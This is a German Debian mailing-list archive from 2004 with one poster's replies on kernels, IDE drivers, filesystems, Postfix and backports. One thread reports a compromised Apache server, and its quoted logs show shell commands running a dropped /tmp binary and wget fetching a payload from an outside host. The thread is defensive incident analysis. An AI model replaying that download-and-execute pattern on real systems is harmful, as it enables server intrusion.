Re: debian besser kennen lernen

2004-08-25 Diskussionsfäden Frank Lorenzen
On Wed, Aug 25, 2004 at 09:55:06PM +0200, Rolf Suennen wrote:
> 
> tach zusammen,
> ich verfolge diese liste schon seit einigen monaten und
> muss gestehen, dass ich mich kaum traue meine super-newbie-
> frage(n) zu stellen. ich bin nach vielen jahren m$ auf 
> debian fuer das hosting meines cms umgestiegen und fuehle 
> mich wie neu geboren. allerdings fehlen mir fuer eine 
> effiziente administration meines rechners noch reichlich
> informationen.

Baknntes Problem aller Anfänger im Unix-Bereich: Der Einstieg ist
steinig. Hat man die ersten Hügel erst mal erstiegen ist es meist
einfacher.

> als beispiel sei genannt: ich habe einen rechner mit 2
> cpu's und wuerde gerne die prozessorlast auf der einzelnen
> cpu's sehen koennen. mit 'top' geht es wohl nicht oder ich
> habe mir noch nicht die zeit genommen es zu verstehen ...

Da su nicht verrätst welchen "Debian-Flavor" du denn benutzt (stable,
testing oder unstable) gehe ich jetzt einfach mal von stable aka 'woody'
aus. Außerdem unterstützt das meine Faulheit ich habe nämlich kein
SMP-System das != woody läuft.

Wenn du die Auslastung der CPU's im Summary (die 5 Zeilen oben) haben
willst, das geht soweit ich weiß indem du mal '1' drückst. Du kannst dir
für die einzelnen Prozesse in der Prozessübersicht unten auch anzeigen
lassen auf welcher CPU welcher Prozess läuft indem du mit 'f' die
Feldkonfiguration aufrufst und dann mit 'j' 'Last used cpu (SMP)'
aktivierst und mit 'enter' zurückkehrst.

> wo finde ich zum beispiel links zu diesem thema. google
> hat da nicht wirklich weitergeholfen (das hat fuer cyrus
> auf jeden fall besser geklappt). ausserdem wuerde ich gerne
> wissen, wieviel speicher meine jvm frisst ... diese wird 
> aber ueber coldfusion gestartet und daher finde ich keinen
> anhaltspunkt, woher ich an diese information im system 
> erhalten kann.

Generisch: unter '/proc/"PID_des_prozesses"/status
Du kannst dir das auch mit 'top' für einen speziellen Prozess (z.B. die
jvm) anschauen indem du top als 'top -p PID' aufrufts, wobei PID die
ProzessID des zu überwachenden Prozesses ist. Die üblichen Informationen
wie hier z.B. virt und res können dann übersichtlich für einen oder auch
mehrere Prozesse eingesehen werden. Näheres verrät dir 'man top'.

> lange rede, kurzer sinn ... gibt es eine quelle im netz,
> wo ich speziell zu diesen themen informationen finde?

Ähh, ja. Bestimmt irgendwo. Zu deinem speziellen Anliegen weiß ich jetzt
nix, jedoch ist Anfängern in Debian grundsätzlich das
Debian-Anwender-Handbuch ans Herz zu legen. Zu finden unter
http://www.openoffice.de/linux/buch


> sollten meine fragen zu rookie sein, dann ... sorry.

Du hast dich vorher selbst bemüht, du hast deine Frage ordentlich
formuliert; Also für mich nicht.

> gruss
> rolf


gruss
f


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Re: Apache macht komische Dinge

2004-08-23 Diskussionsfäden Frank Lorenzen
On Mon, Aug 23, 2004 at 08:53:56PM +0200, Michelle Konzack wrote:
> Hallo Frank, 
> 
> Am 2004-08-23 20:25:16, schrieb Frank Lorenzen:
[...]
> > ls: /usr/bin/X11/X: No such file or directory
> > sh: option `-c' requires an argument
> > ls: /usr/bin/X11/X: No such file or directory
> > sh: option `-c' requires an argument
> > ls: /usr/bin/X11/X: No such file or directory
> > ls: /usr/include/sdk386: No such file or directory
> > ls: /usr/bin/X11/X: No such file or directory
> > ls: /usr/include/sdk386: No such file or directory
> > ls: /usr/bin/X11/X: No such file or directory
> > --18:06:28--  http://xpire.info/cli.gz
> > => `/tmp/a.out'
> > Resolving xpire.info... done.
> > Connecting to xpire.info[202.99.23.162]:80... connected.
> > HTTP request sent, awaiting response... 200 OK
> > Length: 19,147 [text/plain]
> > 
> > 0K ..    100%   20.04
> > KB/s
> 
> Du bist gehackt...

Das ist ja sehr schön daß mir das nach 7 Jahren Linux auch mal passiert.
Bisher hatte ich dieses Vergnügen noch nicht.
Darauf trink ich ein 'Tannenzäpfle'.

Trotzdem würde mich interessieren wie das zustande kam, denn eine lang
bekannte Sache kann das Ding ja wohl nicht sein sonst hätte das
Debian-Security-Team wohl in irgendeiner Weise reagiert.

> Schau Dir mal die cli.gz in einem Editor an... 
> (Es ist keine gnuzipdatei)
> 
> Mach das scheiß teil auf alle Fälle nicht executable...

Ich habe es mir zuhause heruntergeladen und mal mit file/ldd/strings
schnell drübergeschaut aber noch keine ernsthaften Versuche unternommen
zu sehen was es tut.

Wie gesagt, auf dem System das die Symptome zeigt war nichts zu finden.
Ich bin fast dabei zu glauben daß der Hack aus irgendeinem Grunde schief
ging.

Ich habe als temporären milchmädchen-Würgaround mal ausgehende
Verbindungen zu xpire.info gedropt. Da 'cli.gz' ja mehrmals
heruntergeladen wurde, mit jeweils unterschiedlicher Dateigröße, gehe
ich davon aus, daß an dem 'Tool' noch herumgeschraubt wird. Somit währe
zumindest für Stümper die aktualisierung unterbunden solange nicht der
Download-Server gewechselt wird.

Lieber währe mir allerdings ein apache der sich nicht dazu überreden
läßt Kommandos auszuführen.

> > Erstmalig aufgetreten ist das am 12.08. Vorher konnte ich keine Einträge
> > dieser Art feststellen.
> 
> > Das Einzige was ich mit google gefunden habe ist
> > 'http://www.imperialviolet.org/'. Die Jungs dort halten das ganze für
> > einen Hack der anderer Leute Leitungen floodet, hatten allerdings auch
> > "Reste" in '/tmp' und einen Prozess 'pra' auf einem tcp-Port.
> > Das hatte ich definitiv _nicht_. Weder einen zusätzlichen Port offen,
> > noch _irgendwas_ außer bekanntem in '/tmp'.
> 
> Vesuche den Sch... gerade zu disassembieren...
> Habe allerdings ein kleines Problem mit meiner amd64 Installation 
> und dem chroot...
> 
> > Any Hints?
> > 
> > 
> > PS: Nein, Sven. Nicht momo.
> > 
> > 
> > gruss
> > f
> 
> 
> Greetings
> Michelle


gruss
f



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Apache macht komische Dinge

2004-08-23 Diskussionsfäden Frank Lorenzen
Hallo Liste,

kann mir hier jemand auf die Sprünge helfen, bzw. weiterführende Links
nennen was ich mir da eingefangen habe?

System ist ein Debian-Woody mit aktuellen Security-Patches.

Heute abend fiel mir das in 'top' auf:
20788 www-data  18   0   488  460   428 R51.6  0.1   0:01 exe
20787 www-data  14   0   488  460   428 R46.8  0.1   0:05 exe

'ps aux' lieferte das hier:
www-data 20769 47.7  0.1  1480  460 ?R19:36   0:06 sh -c
/tmp/dsadas;rm -f /tmp/dsadas
www-data 20783 45.1  0.1  1480  460 ?R19:36   0:02 sh -c
/tmp/dsadas;rm -f /tmp/dsadas

Diese beiden Prozesse ließen sich auch durch das Beenden von 'apache'
und 'apache-ssl' nicht beirren, ich habe sie dann von Hand durch ein
'kill' beendet.

/var/log/apache/error.log gibt folgendes her:
[Sat Aug 21 06:25:18 2004] [notice] Accept mutex: sysvsem (Default:
sysvsem)
/tmp/dsadas: No such file or directory
exe: no process killed
dsadas: no process killed
/tmp/dsadas: no process killed
exe: no process killed
dsadas: no process killed
/tmp/dsadas: no process killed
/tmp/dsadas: No such file or directory
[Sun Aug 22 06:25:16 2004] [notice] SIGUSR1 received.  Doing graceful
restart

und heute:
[Mon Aug 23 06:25:18 2004] [notice] Accept mutex: sysvsem (Default:
sysvsem)
ls: /usr/bin/X11/X: No such file or directory
sh: option `-c' requires an argument
ls: /usr/bin/X11/X: No such file or directory
sh: option `-c' requires an argument
ls: /usr/bin/X11/X: No such file or directory
ls: /usr/include/sdk386: No such file or directory
ls: /usr/bin/X11/X: No such file or directory
ls: /usr/include/sdk386: No such file or directory
ls: /usr/bin/X11/X: No such file or directory
--18:06:28--  http://xpire.info/cli.gz
=> `/tmp/a.out'
Resolving xpire.info... done.
Connecting to xpire.info[202.99.23.162]:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 19,147 [text/plain]

0K ..    100%   20.04
KB/s

18:06:29 (20.04 KB/s) - `/tmp/a.out' saved [19147/19147]

ls: /usr/bin/X11/X: No such file or directory
--18:06:33--  http://xpire.info/cli.gz
=> `/tmp/a.out'
Resolving xpire.info... done.
Connecting to xpire.info[202.99.23.162]:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 19,147 [text/plain]
0K ..    100%   14.68
KB/s
18:06:35 (14.68 KB/s) - `/tmp/a.out' saved [19147/19147]
ls: /usr/bin/X11/X: No such file or directory
ls: /usr/bin/X11/X: No such file or directory
[Mon Aug 23 19:33:56 2004] [notice] caught SIGTERM, shutting down


Erstmalig aufgetreten ist das am 12.08. Vorher konnte ich keine Einträge
dieser Art feststellen.

[Thu Aug 12 09:42:00 2004] [notice] Accept mutex: sysvsem (Default:
sysvsem)
ls: /usr/bin/X11/X: No such file or directory
sh: option `-c' requires an argument
ls: /usr/bin/X11/X: No such file or directory
sh: option `-c' requires an argument
ls: /usr/bin/X11/X: No such file or directory
sh: option `-c' requires an argument
ls: /usr/bin/X11/X: No such file or directory
sh: option `-c' requires an argument
[Thu Aug 12 13:59:22 2004] [notice] caught SIGTERM, shutting down



Das Einzige was ich mit google gefunden habe ist
'http://www.imperialviolet.org/'. Die Jungs dort halten das ganze für
einen Hack der anderer Leute Leitungen floodet, hatten allerdings auch
"Reste" in '/tmp' und einen Prozess 'pra' auf einem tcp-Port.
Das hatte ich definitiv _nicht_. Weder einen zusätzlichen Port offen,
noch _irgendwas_ außer bekanntem in '/tmp'.



Any Hints?


PS: Nein, Sven. Nicht momo.


gruss
f


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Re: PCI/IDE - IDE Reihenfolge

2004-08-08 Diskussionsfäden Frank Lorenzen
On Wed, Aug 04, 2004 at 03:04:37AM +0200, Elmar Hinz wrote:
> >
> >/usr/src/linux/Documentation/ide.txt
> >
> 
> Danke. Ein sehr praktischer Hinweis.
> 
> Alles was ich schon immer wissen wollte. :-)

Ich vermute er wollte auf CONFIG_BLK_DEV_OFFBOARD hinaus.



gruss
f


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Re: Debian IDE-Unterstützung (sarge)

2004-07-22 Diskussionsfäden Frank Lorenzen
On Wed, Jul 21, 2004 at 11:11:55PM -0700, Alexander Mayer wrote:
[...]
> Folgende Module habe ich probiert zu laden /etc/modules
> sis5513
> ide-core
> ide-disk
> ide-cd
> 
> gateway:~# lsmod
> Module  Size  Used byNot tainted
> isofs  27092   0  (autoclean)
[...]
> ide-cd 32128   0
> cdrom  28672   0  [ide-cd]
> ide-disk   16736   0
> sis551311568   0  (unused)
> ide-core  109628   0  [ide-cd ide-disk sis5513]
[...]
> 
> Was muss ich denn nun für Module laden, dass ich das Lite-On IDE Atapi
> Cd Laufwerk und die Western Digital IDE Festplatte ansprechen kann?
> 
> Anbei ein output von lspci
> 
> gateway:~# lspci
[...]
> :00:02.5 IDE interface: Silicon Integrated Systems [SiS] 5513
> [IDE]
[...]


Das sieht doch eigentlich ganz gut aus. Was taucht unterhalb von
/proc/ide auf?
Falls dort dein CDrom (hdc) auftaucht, als Link auf ide1/hdc, wie
_genau_ versuchst du zu mounten?

> Auf einem zweiten Server habe ich das selbe Problem, ein IDE-Cdrom
> Laufwerk
> anzusprechen.
> 
> Anbei noch ein output der lspci von diesem Server.
> filesrv:~# lspci
> pcilib: Cannot open /sys/bus/pci/devices
Darüber mußt du dir keine Gedanken machen, sysfs ist ein Feature von
Kernel 2.6
[...]
> :00:07.1 IDE interface: Advanced Micro Devices [AMD] AMD-768
> [Opus] IDE (rev 04)
[...]
> 
> server:~# lsmod
> Module  Size  Used byTainted: P
> isofs  27416   0  (autoclean)
[...]

Hier habe ich außer 'isofs' mal nichts relevantes für dein IDE-Cdrom
entdecken können. Es war weder der amd-Treiber geladen, noch ide-cdrom.

> Bei jedem Kernel handelt es sich um Original debian initrd Kernel, die
> ich per apt-get geholt habe. (apt-get install
> kernel-image-2.4.26-1-k7...etc

Das schließt aus, daß du irgendwas am Kernel falsch gemacht hast.

> gruss
> 
> Alex


gruss
f


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Re: Woody ist prima nur probs mit 160GB HDD

2004-07-21 Diskussionsfäden Frank Lorenzen
On Wed, Jul 21, 2004 at 11:26:24PM +0200, [EMAIL PROTECTED] wrote:
> Hi,
> 
> ich nutze nun schon seit jahren debian woody und bin super zufrieden damit
> und würde ungerne auf sarge umsteigen, da es ja noch sicherheitslücken
> aufweisen kann...
> 
> Und eigentlich müsste ich auch gar nicht drüber nachdenken zu wechseln,
> aber leider erkennt woody meine 160gb hdd nicht...
> 
> haben sie noch eine idee, wie ich das umgehen kann??? das mit sarge?

Die Größe des Filesystems sollte für woody kein Problem darstellen, die
Größe der Platte ist ein Problem des Kernels. Ein hinreichend neuer 2.4
sollte das ohne Probleme können.

Was verstehst du unter "erkennt die 160gb Hd nicht"? Meiner Erfahrung
nach werden "zu große" Platten durchaus "erkannt", man kann aber keine
Partitionen >120Gb (??) anlegen. MIt den 120Gb bin ich mir nicht mehr
100% Sicher es müßte aber in dieser Größenordnung gewesen sein.

> Liebe grüße aus hamburg
> 
> Nils

gruss
f


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Re: Debian IDE-Unterstützung (sarge)

2004-07-21 Diskussionsfäden Frank Lorenzen
On Wed, Jul 21, 2004 at 11:33:48AM +0200, Michelle Konzack wrote:
> Am 2004-07-21 09:16:28, schrieb Frank Lorenzen:
> >On Wed, Jul 21, 2004 at 08:29:18AM +0200, Dirk Schleicher wrote:
> 
> >> > CONFIG_IDE=m
> >---^
> 
> Das sollte wohl eigentlich "=y" heisen

Nein, warum denn?

> >> > # CONFIG_BLK_DEV_HD_IDE is not set
> >> > # CONFIG_BLK_DEV_HD is not set
> >> > CONFIG_BLK_DEV_IDEDISK=m
> >> > # CONFIG_IDEDISK_MULTI_MODE is not set
> >> > # CONFIG_IDEDISK_STROKE is not set
> >> > CONFIG_BLK_DEV_IDECS=m
> >> > CONFIG_BLK_DEV_IDECD=m
> >> > CONFIG_BLK_DEV_IDETAPE=m
> >> > CONFIG_BLK_DEV_IDEFLOPPY=m
> >> > CONFIG_BLK_DEV_IDESCSI=m
> >> > # CONFIG_IDE_TASK_IOCTL is not set
> >
> >Die Module für die Hardware, die in dieser Auflistung hier nicht
> >auftauchen, werden wohl auch modularisiert sein.
> 
> Nein, die werden dann nämlich überhaupt nicht erstellt 
> oder in den Kernel eingebunden.

Wie? Das verstehe ich jetzt nicht, warum sollten die nicht da sein?

> >> > Ein IDE CD-ROM Laufwerk müsste doch eigentlich unter die 
> >> > IDE ATA Sparte fallen oder?
> >> KA. Aber bei einem 2.4.x Kernel musst Du halt IDE über die SCSI
> >--^
> >> Emulation ansprechen. Dann hast Du /dev/scdx
> >
> >Du redest wirr.
> 
> :-)
> 
> Sind die module 
> 
> ide.o
> ide-cd.o
> 
> geladen ?  -  Eventuell brauchst Du noch das Modul für Deinen Chipsatz.
> 
> >gruss
> >f
> 
> Greetings
> Michelle

gruss
f



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Re: Debian IDE-Unterstützung (sarge)

2004-07-20 Diskussionsfäden Frank Lorenzen
On Mon, Jul 19, 2004 at 03:52:10AM -0700, Alexander Mayer wrote:
> Hallo Liste,
> ich hab auf meinen Servern das Problem, dass ich keinen Zugriff auf
> das IDE Cdrom Laufwerk habe. Komischerweise ist das auf jedem Debian
> Server
> der Fall. Ich verwende Debian 3.1 testing mit Debian Kernel-image
> 2.4.26-1-k7
> und auf dem anderen Server kernel-image 2.4.26-1-k7-smp.
> Bei beiden Servern hängt das Cd Laufwerk am Secondary Master IDE.
> Also /dev/hdc  Beim booten erkennt das Bios das laufwerk ganz regulär.
> Aber
> schon beim booten sieht man, dass Linux davon nichts erkennt. Muss ich
> denn
> manuell mit modprobe irgendwelche Module installieren, dass es funzt?
> 
> Die Systeme an sich laufen ja auf SCSI Platten.
[...]

Mit größter Wahrscheinlichkeit mußt du das Modul für den IDE-Chip laden.

> gruss
> Alex

gruss
f


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Re: Sicherheitslücke im Linux-Kernel 2.4 und 2.6

2004-06-15 Diskussionsfäden Frank Lorenzen
On Tue, Jun 15, 2004 at 07:44:50AM +0200, Harald Krammer wrote:
> hi leute,
> ich wollte euch informieren, dass es wieder eine Sicherheitslücke im 
> Kernel gibt. :-(
> 
> http://www.heise.de/newsticker/meldung/48236
> http://linuxreviews.org/news/2004-06-11_kernel_crash/#toc1
> 
> Wenn die Patches kommen, bitte wieder Updaten.

Ähh, wie?
Die sind doch schon da, oder habe ich da Bockwurst eingespielt heut
nacht. *Wunder*

> Gruss,
> Harald


gruss
f



Re: shfs unter Woody installieren

2004-06-14 Diskussionsfäden Frank Lorenzen
On Mon, Jun 14, 2004 at 11:29:20AM +0200, Ralf Moll wrote:
> Hallo Gemeinde,
> 
> da ich im Geschäft gerne auf meine Dokumentation im heimischen Lan
> zugreifen möchte, dachte ich an die Installation von SHFS.
> 
> Leider gibt es nur debs für unstable und testing. Also habe ich das
> tar.gz von der Homepage runtergeladen, und nach Anleitung versucht ein
> deb zu erstellen, dabei kam folgende Fehlermeldung:
> 
> gcc -O2 -fomit-frame-pointer -fno-strict-aliasing -pipe -Wall -I- -I.
> -I//lib/modules/2.4.18-bf2.4/build/include  -DMODULE  -D__KERNEL__
  ^^
> -DLINUX -c proc.c -o proc.o
> proc.c:22: net/sock.h: No such file or directory
> make[4]: *** [proc.o] Fehler 1
> make[4]: Leaving directory `/install/tgzs/shfs-0.35/shfs/Linux-2.4'
> make[3]: *** [all] Fehler 2
> make[3]: Leaving directory `/install/tgzs/shfs-0.35/shfs'
> make[2]: *** [module] Fehler 2
> make[2]: Leaving directory `/install/tgzs/shfs-0.35'
> make[1]: *** [build-stamp] Fehler 2
> make[1]: Leaving directory `/install/tgzs/shfs-0.35'
> make: *** [deb] Fehler 2
> 
> Also irgendwas mit net/sock.h
> 
> Was tun? Debs von testing installieren?

Kernel-Source installieren. Bei weniger offensichtlichen Dingen auch mal
packages.debian.org befragen in welchem Paket die bemängelten Dateien
denn stecken.

> cu,
> 
> Ralf


gruss
f



Re: smbmount, Kernel 2.2.20, Umlaute kryptisch

2004-06-11 Diskussionsfäden Frank Lorenzen
On Fri, Jun 11, 2004 at 11:10:15AM +0200, Mario Neudeck wrote:
> On Fri, 11 Jun 2004 09:30:17 +0200, Mario Neudeck wrote:
> 
> > Hallo,
> > 
> > woody mit Kernel 2.2.20 und samba (3.0.4-Debian).
> > 
> 
> habe jetzt inzwischen Kernel 2.6.4 und in Samba die Konfiguration
> unix charset = ISO8859-1
> dos charset = 850
> eingestellt.
> 
> Leider ohne Erfolg.
> 
> Hat jemand Ideen?

Kannst du in deiner Konsole Umlaute eingeben/darstellen? Ansonsten
richte mal deine locales richtig ein.

> Mario


gruss
f




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Re: Das Problem mit SID

2004-06-09 Diskussionsfäden Frank Lorenzen
On Wed, Jun 09, 2004 at 11:27:58AM +0200, Christian Schulte wrote:
> Frank Lorenzen wrote:
[...]
> >Ohne jetzt hier große Compiler- und Lauf-Tests anzustellen kann ich dir
> >sagen daß das apt aus testing kein "AptPkg/Source.pm" enthält, es
> >trotzdem ein apt-src gibt und dieses auch nur auf "apt" dependet , nicht
> >auf "apt (>= n)"
> >Ich werde diese Version für meine Tests nehmen.
> > 
> >
> 
> Keine Ahnung. Wenn ich bei mir unter Woody apt-src aus den Quellen mit 
> dpkg-buildpackage baue, dann will es beim Installieren Abhängigkeiten, 
> die es in Woody nicht gibt.
> 
> [EMAIL PROTECTED]:~/apt-src-0.25$ ls
> apt-src  AptSrc.pm  config  debian  Makefile.PL  man  TODO
> 
> 
> Das Perl-Modul scheint im apt-src dabei zu sein. Keine Ahnung warum ich 
> ein apt-get source libapt-pkg-perl-sonstwas machen musste und warum mir 
> das oder sowas ähnliches dann die apt-Quellen heruntergeladen hat.
> 
> Du machst also einfach nur
> 
> apt-get source apt-src
> cd apt-src-0.25
> fakeroot dpkg-buildpackage
> 
> und kannst danach das Paket installieren und es läuft ? Unter Woody auch ?

Nein, das kann ich nicht. Ich wollte nur ausdrücken, daß das apt /
apt-src aus testing offenbar "stabiler" ist als das aus unstable.
Zumindes läßt sich "apt" aus testing unter testing compilieren.
Deshalb werde ich mir für meine Experimente unter woody (mit denen ich
noch nicht angefangen habe) das apt / apt-src aus testing zur Hand
nehmen und nicht das aus unstable.


> Christian


gruss
f



Re: Das Problem mit SID

2004-06-09 Diskussionsfäden Frank Lorenzen
On Mon, Jun 07, 2004 at 12:12:16AM +0200, Christian Schulte wrote:
> Michelle Konzack wrote:
> >Am 2004-06-06 02:10:22, schrieb Christian Schulte:
> >
> >
> >>apt-src tuts eigendlich. Das gibts aber nicht in woody und ein backport 
> >>würde ein aktuelleres APT vorraussetzen. Bei mir scheitert das daran, 
> >
> >
> >???
> 
> Also das, was Du mir da geschickt hast, bekomme ich natürlich auch 
> selber hin. Einfach nur die Abhängigkeiten im Control-File auf ein 
> weniger aktuelles APT herunter zu setzen reicht aber nicht. Will 
> heissen, wenn ich Dein apt-src starte, bricht es sofort mit einer 
> Fehlermeldung
> 
> Can't locate AptPkg/Source.pm in @INC
> 
> ab. Das ist auch gar kein Wunder, da dieses Perl-Modul erst in einem 
> späteren APT nach Woody hinzugefügt wurde! Will ich also dieses fehlende 
> Perl-Modul unter Woody nutzen, dann brauche ich ein APT, was das 
> mitbringt. Nehme ich nun die APT-Quellen aus unstable, dann kompiliert 
> das nicht. Weder unter unstable selber, noch unter Woody.
[...]
> Also kein apt-src unter Woody ohne AptPkg/Source.pm. Das meinte ich.

Ohne jetzt hier große Compiler- und Lauf-Tests anzustellen kann ich dir
sagen daß das apt aus testing kein "AptPkg/Source.pm" enthält, es
trotzdem ein apt-src gibt und dieses auch nur auf "apt" dependet , nicht
auf "apt (>= n)"
Ich werde diese Version für meine Tests nehmen.


> Christian


gruss
f




Re: Wo ist XFS?

2004-06-04 Diskussionsfäden Frank Lorenzen
On Sat, Jun 05, 2004 at 01:36:38AM +0200, Wolfgang Jeltsch wrote:
> Am Samstag, 5. Juni 2004 00:39 schrieb Frank Lorenzen:
> > On Fri, Jun 04, 2004 at 11:50:16PM +0200, Wolfgang Jeltsch wrote:
> > > Hi,
> > >
> > > jetzt habe ich erstmalig begonnen, mich durch eine Kernelkonfiguration zu
> > > ackern, nur, um einen Kernel mit XFS-Support zu produzieren, bin bei make
> > > xconfig bis zu den Dateisystemen gekommen und muss überrascht-verärgert
> > > fest stellen, dass da nichts von XFS zu finden ist. Wieso denn das?
> >
> > Ohne dir jetzt zu nahe treten zu wollen, aber du könntest dir mal eine
> > Spachtel nehmen, den Schimmel von 2.4.18 herunterkratzen und dir
> > überlegen ob du das wirklich haben willst. (Ich rede von vanilla ohne
> > debian-security!)
> 
> Ich rede eben von Woody-Kernel-Image- bzw. -Source-Paketen, die durch das 
> Security-Team betreut werden.

Ok, wenn es dir nicht nur um die Woody Binary-Pakete geht:
$ apt-cache show kernel-patch-xfs
[...]
Description: XFS Filesystem support for Linux 2.4.14, 2.4.17 and 2.4.18

Du mußt dann halt, im falle eines Updates seitens Debian immer neu
bauen.

> Wenn endlich mal sarge released werden würde, wäre *vieles* einfacher.

Ich habe mittlerweile den Glauben ein wenig verloren. Spätesten nach der
Geschichte mit den "non-free"-Kernelmodulen.

> > > Und wenn XFS noch nicht in Kernel 2.4.18 drin ist, was soll ich dann für
> > > ein Dateisystem nehmen? Ich möchte Journaling und will nicht, dass mir
> > > aufgrund von Implementierungsfehlern ständig das Dateisystem kaputt
> > > gemacht wird, wie das bei ext3 der Fall ist.
> >
> > Mal abgesehen davon, daß ich bisher mit ext3 noch keine Probleme hatte
> > (was nichts zu sagen hat) würde ich es einfach mal mit einem _halbwegs_
> > aktuellen Kernel probieren.
> 
> Ich habe eigentlich bei jedem routinemäßigen fsck (m.W. alle 29 Mounts) 
> Probleme mit "illegal blocks", "zero dtimes" o.ä. Nach meinem Verständnis 
> sollte das an Software-Fehlern liegen. Da ich aber bisher noch nicht von 
> anderen gehört habe, dass sie mit ext3 Probleme haben, da es mir ferner 
> komisch vorkommt, dass ext3 so massive Probleme haben soll, und da ich 
> außerdem unter SuSE 8.0 mit reiserfs ähnliche Schwierigkeiten hatte, frage 
> ich mich langsam, ob hier nicht auch eine Hardware-Ursache vorliegen könnte. 
> Können solche Probleme an der Hardware liegen?

Das klingt in der Tat nach irgendeiner Art von Hardwarefehler. Ich weiß
nicht wie groß dein herumliegendes Hardwaresammelsurium ist, aber ich
würde folgendermaßen vorgehen (vorausgesetzt alle benötigte Hardware
liegt so herum): Als erstes mal das IDE-Kabel tauschen, tritt das
Problem auf der _ganzen_Platte auf mal die Platte tauschen, tritt es nur
auf einer Partition auf diese mal verlagern und versymliken, das
Netzteil tauschen, den Speicher/CPU Takt vermindern, Speicher/CPU
tauschen, das Board tauschen.

Wie gesagt, so würde ich vorgehen, wenn ich über mehrere Kernelversionen
und/oder Quertests mit BSD immer zum selben Ergebnis käme und die
Harware ohnehin im Schrank liegt.

> Nochmal viele Grüße!
> Wolfgang


gruss
f


PS: Du hast nicht zufällig so ein MSI Mini-ATX BOard mit nur 2 oder 3
PCI-Slots und allem anderen On-Board, die Bezeichnung ist mir gerade
entfallen?



gruss
f



Re: Wo ist XFS?

2004-06-04 Diskussionsfäden Frank Lorenzen
On Fri, Jun 04, 2004 at 11:50:16PM +0200, Wolfgang Jeltsch wrote:
> Hi,
> 
> jetzt habe ich erstmalig begonnen, mich durch eine Kernelkonfiguration zu 
> ackern, nur, um einen Kernel mit XFS-Support zu produzieren, bin bei make 
> xconfig bis zu den Dateisystemen gekommen und muss überrascht-verärgert fest 
> stellen, dass da nichts von XFS zu finden ist. Wieso denn das?

Ohne dir jetzt zu nahe treten zu wollen, aber du könntest dir mal eine
Spachtel nehmen, den Schimmel von 2.4.18 herunterkratzen und dir
überlegen ob du das wirklich haben willst. (Ich rede von vanilla ohne
debian-security!)

> Und wenn XFS noch nicht in Kernel 2.4.18 drin ist, was soll ich dann für ein 
> Dateisystem nehmen? Ich möchte Journaling und will nicht, dass mir aufgrund 
> von Implementierungsfehlern ständig das Dateisystem kaputt gemacht wird, wie 
> das bei ext3 der Fall ist.

Mal abgesehen davon, daß ich bisher mit ext3 noch keine Probleme hatte
(was nichts zu sagen hat) würde ich es einfach mal mit einem _halbwegs_
aktuellen Kernel probieren.

> Viele Grüße
> Wolfgang


gruss
f



Re: Frage zu Postfix-TLS und mutt

2004-06-04 Diskussionsfäden Frank Lorenzen
On Fri, Jun 04, 2004 at 10:57:28PM +0200, Thilo Engelbracht wrote:
> Hallo Liste!
> 
> Zu Hause habe ich einen Linux-Server (Debian 3.0) und einen
> Windows-Client. Auf dem Server läuft u.a. fetchmail, Postfix und der
> IMAP-Server courier.
> 
> Zur Zeit beschäftige ich mich gerade mit TLS und SSL.
> Durch die Anleitung in der c't 8/2004 habe ich
> - meinen MTA Postfix umkonfiguriert
> - ein Zertifikat erstellt
> 
> Der Versand von E-Mails ist jetzt nur noch möglich, wenn eine
> SSL-verschlüsselte Verbindung besteht. In der Postfix-Konfigurations-
> datei wird dies u.a. durch die Zeile
> 
>  smtpd_enforce_tls = yes
> 
> erreicht.
> 
> Es klappt auch alles wunderbar - mein Windows-Client kann nur noch
> Nachrichten versenden, wenn die Verbindung codiert ist.
> 
> Auf meinem Server habe ich aber noch den MUA "mutt" installiert. Nun
> möchte ich mutt so konfigurieren, dass auch hier nur ein
> SSL-verschlüsselter Versand möglich ist. [...]

Wenn ich jetzt nicht völlig schief gewickelt bin, benutzt mutt zum
lokalen senden ohnehin /usr/bin/sendmail.
Was zur hölle willst du da verschlüsseln?

BTW: Selbst wenn dein mutt smtp spricht, hielte ich es für groben
Quatsch Verbindungen nach localhost:25 zu verschlüsseln.

> Bitte beachtet bei Euren Antworten, dass ich Newbie bin.
> 
> Vielen Dank für Eure Mühe!

Deine Sicherheitsbedenken ihn Ehren (ist auch nie ein Fehler!) aber
lokal ist das Unnötig.

> Mit freundlichen Grüßen,
> 
> Thilo

gruss
f



Re: Das Problem mit SID

2004-06-04 Diskussionsfäden Frank Lorenzen
On Tue, Jun 01, 2004 at 11:39:14AM +0200, Michelle Konzack wrote:
[...] Backports automatisieren
> Da mußte wie ich eine Liste der gewünschten Pakete anlegen 
> und ein BASH-Script basteln :-) 
> 
> Habe insgesamt 18 UNSTABLE Pakete und habe in den lezten 
> 2 Monaten kein einziges von Hand compiliert.  :-)
> 
> naja, das Script muß ebend in der Lage sein, "control" und 
> "Changelog" selbständig zu ändern. War ein bischen Arbeit, 
> aber es funktioniert.

Es ist ja schön daß du dein Script in letzter Zeit öfter mal erwähnst.
Es wäre noch schöner wenn du das irgendwo auch mal der Öffentlichkeit
zur Verfügung stellen könntest, denn grundsätzlich könnte ich sowas auch
gebrauchen, fühle mich auch durchaus in der Lage das anzugehen. Aber du
weißt ja: Auf einer grünen Wiese ist es immer so grün; sprich: Ich bin
faul und wenn es schon einen Ansatz gibt, warum sollte ich nochmal
anfangen.

> Greetings
> Michelle


gruss
f




Re: Problem bei 3D-Beschleunigung bei Voodoo 5

2004-06-02 Diskussionsfäden Frank Lorenzen
On Fri, May 21, 2004 at 08:44:15AM +0200, [EMAIL PROTECTED] wrote:
> Hallo!
> 
> Ich habe auf meinem woody eine Voodoo 5 installiert mit tdfx, den glide
> und mesa libraries für voodoo 3-5.
> Beim Starten von glxgears funktioniert die 3D-Beschleunigung.

Woran erkennst du das? Drehen sich die Zahnräder schnell oder langsam?

> Bei Tuxracer gehts nicht.
> XF86Config-4: load "glx" und load "dri" sind eingetragen.
> 
> Was muß ich noch einstellen?
> PS: gegoogelt habe ich schon einige Zeit, aber noch nichts gefunden.

Was sagt 'glxinfo' oder 'LIBGL_DEBUG=verbose glxinfo'?
Insbesondere die Zeile 'OpenGL renderer string:'.
Was sagt dein X-Logfile? Wieviel Speicher hat deine Karte und welche
Auflösung fährt X? WIe ist die Farbtiefe?

> Danke für eure Hilfe!
> 
> Peter


gruss
f



Re: XDMCP oder alternativen

2004-03-14 Diskussionsfäden Frank Lorenzen
On Fri, Mar 12, 2004 at 10:12:54AM -0800, Andreas Pakulat wrote:
> On 12.Mar 2004 - 13:08:49, Frank Lorenzen wrote:
